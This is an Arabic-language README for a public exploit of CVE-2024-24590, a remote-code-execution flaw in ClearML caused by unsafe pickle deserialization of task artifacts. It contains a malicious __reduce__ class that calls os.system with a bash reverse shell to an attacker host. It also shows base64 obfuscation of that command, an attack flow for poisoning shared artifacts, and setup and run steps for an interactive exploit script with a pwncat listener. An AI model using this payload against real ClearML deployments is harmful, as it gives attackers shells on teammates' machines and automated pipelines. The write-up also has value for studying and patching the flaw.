
CVE-2024-24590 – ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) في ClearML عبر إلغاء تسلسل غير آمن لقطع pickle الأثرية (0.17.0–1.14.2)
| الحقل | التفاصيل |
|---|---|
| CVE | CVE-2024-24590 |
| البرنامج | ClearML |
| الإصدارات المتأثرة | 0.17.0 – 1.14.2 |
| الثغرة | إلغاء تسلسل غير آمن عبر pickle لمرفقات المهام |
| المصادقة | يتطلب صلاحية كتابة لمشروع ClearML |
| التأثير | تنفيذ أكواد عن بُعد على أي جهاز يحمّل المرفق |
| تم الاختبار على | Ubuntu 22.04, Python 3.9+ |
ClearML هي منصة MLOps تُستخدم لتتبّع التجارب وإدارة مجموعات البيانات ومشاركة المرفقات (نماذج، ملفات، كائنات) بين أعضاء الفريق. عندما يتم رفع مرفق مهمة ككائن Python، يقوم ClearML بتسلسله باستخدام وحدة pickle في Python. وعندما يقوم مستخدم آخر بتنزيل هذا المرفق وتحميله، يقوم ClearML بإلغاء تسلسله — أيضًا عبر pickle — دون أي تحقق من السلامة أو قائمة سماح للفئات.
يمكن للمهاجم الذي لديه صلاحية كتابة لمشروع ClearML مشترك رفع مرفق خبيث يحتوي على طريقة __reduce__ مُعاد تعريفها. أي عضو في الفريق أو خط أنابيب آلي يجلب ذلك المرفق ويحمّله سينفّذ حمولة المهاجم أثناء إلغاء التسلسل، محققًا تنفيذ أكواد عن بُعد (RCE) على جهازه.
وحدة pickle في Python غير آمنة جوهريًا مع المدخلات غير الموثوقة. تتحكم الطريقة السحرية __reduce__ المعرَّفة في الفئة في كيفية إعادة بناء الكائن أثناء إلغاء التسلسل — ويمكنها إرجاع أي كائن قابل للاستدعاء مع وسائطه، بما في ذلك os.system:
class exploit:
def __reduce__(self):
return os.system, ("bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'",)
عندما يتم تسلسل الكائن ثم إلغاء تسلسله لاحقًا، يستدعي Python os.system(cmd) كجزء من إعادة بناء الكائن — قبل أن تتاح للمستدعي أي فرصة لفحصه.
Attacker (project write access)
│
▼
task = Task.init(project_name="shared-project", task_name="exploit")
task.upload_artifact("model", artifact_object=exploit())
│
▼
ClearML server stores artifact as a pickled binary blob
│
▼
Victim fetches artifact (automated pipeline / manual review)
task.artifacts["model"].get()
│
▼
pickle.loads(blob) → __reduce__ fires → os.system(reverse_shell_cmd)
│
▼
Reverse shell connects back to attacker
يتم ترميز أمر الصدفة العكسية باستخدام Base64 قبل تضمينه لتجنّب مشكلات اقتباس الصدفة في السلسلة المتسلسلة:
bash_cmd = f'bash -c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f'echo {b64} | base64 -d | sh'
git clone https://github.com/rippsec/CVE-2024-24590-ClearML-RCE-Exploit.git
cd CVE-2024-24590-ClearML-RCE-Exploit
pip install -r requirements.txt
المتطلبات: clearml, pwntools, colorama
python3 exploit.py
ترشدك القائمة التفاعلية خلال خطوتين:
الخطوة 1 — تهيئة ClearML (option 1)
تشغّل clearml-init لإعداد بيانات الاعتماد لخادم ClearML الهدف. وتُنشئ نسخة احتياطية من أي ملف ~/clearml.conf موجود أولاً.
الخطوة 2 — تشغيل الاستغلال (option 2)
تطلب منك:
تقوم اختياريًا بتشغيل مستمع pwncat تلقائيًا قبل رفع المرفق.
